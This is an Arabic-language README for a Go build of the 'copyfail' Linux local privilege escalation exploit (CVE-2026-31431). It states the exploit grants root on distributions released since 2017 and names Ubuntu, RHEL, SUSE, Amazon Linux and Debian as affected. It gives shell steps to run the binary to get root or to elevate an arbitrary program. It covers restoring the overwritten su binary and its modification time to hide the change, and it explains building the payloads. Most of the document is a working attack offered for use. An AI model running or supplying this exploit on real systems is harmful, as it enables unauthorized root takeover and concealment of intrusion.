
أداة تنفيذ بلغة Go لـ copyfail (CVE-2026-31431)
معظم ثغرات رفع الامتيازات المحلية (LPE) في لينكس تحتاج إلى نافذة سباق (race window) أو إزاحة خاصة بالنواة. Copy Fail هو عيب منطقي مستقيم — لا يحتاج إلى أيٍّ منهما. نفس
سكربت بايثون المكوّن من 732 بايتملف Go الثنائي الثابت يمنح صلاحيات الجذر لكل توزيعة لينكس صدرت منذ 2017.
تنفيذ بلغة Go لثغرة CVE-2026-31431. في حال كنت بحاجة إلى ملف ثنائي ثابت وبدون اعتماد على بايثون.
انظر copy.fail لمزيد من المعلومات.
# احصل على الملف الثنائي إلى جهاز لينكس الخاص بك مع صلاحية تنفيذ الأوامر (تمرين للقارئ)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # استعادة ملف su الأصلي
root@host# touch -r /tmp/su /usr/bin/su # استعادة وقت التعديل لملف su الأصلي
root@host# rm /tmp/su
root@host# # قم بأشياء كجذر =)
مفيد لرفع صلاحيات برنامج إلى الجذر
# احصل على الملف الثنائي إلى جهاز لينكس الخاص بك مع صلاحية تنفيذ الأوامر (تمرين للقارئ)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # استخدم ما شغّلته لاستعادة su من /tmp/su
قم بتجميع الحمولات بنفسك باستخدام payloads/build-n-print.sh على جهاز Debian (تم اختباره على Debian 13).
ستحتاج إلى تنفيذ apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf ثم تشغيل السكربت من داخل مجلد payloads. سيقوم بتجميع كل حمولة وإخراج السلاسل السداسية المضغوطة بـ zlib. قارنها بما هو موجود في main.go (أو استبدلها بسلاسلك الخاصة) وقم ببناء ملفات copyfile-go الثنائية باستخدام goreleaser build --snapshot --clean من المجلد الرئيسي للمشروع.
floor: torvalds/linux 72548b093ee3 أغسطس 2017، v4.14
(إعادة هيكلة iov_iter في AF_ALG
التي أدخلت بدائية الكتابة على صفحات
الملفات عبر splice إلى قائمة
التشتت AEAD)
ceiling: torvalds/linux a664bf3d603d أبريل 2026، mainline
(يعكس تحسين algif_aead الموضعي
لعام 2017؛ يفصل قوائم التشتت
للمصدر والوجهة بحيث لا يمكن
لصفحات ذاكرة التخزين المؤقت
أن تكون وجهة تشفير قابلة للكتابة)
فيما بينهما: كل نواة توزيعة رئيسية لم تعيد تطبيق الإصلاح.
تم تأكيد أن Ubuntu وRHEL وSUSE وAmazon Linux وDebian جميعها معرّضة للخطر
في صورها السحابية الافتراضية وقت الإفصاح. بدأت عمليات إعادة التطبيق
على مستوى التوزيعات بالانتشار حوالي 2026-04-29 بالتزامن مع الإفصاح
العام. للتحقق مما إذا كانت النواة المستهدفة ضمن النطاق، تحقق من وجود
a664bf3d603d (أو إعادة التطبيق الخاصة بالتوزيعة) في سجل git للنواة
أو في سجل التغييرات الخاص بالتوزيعة.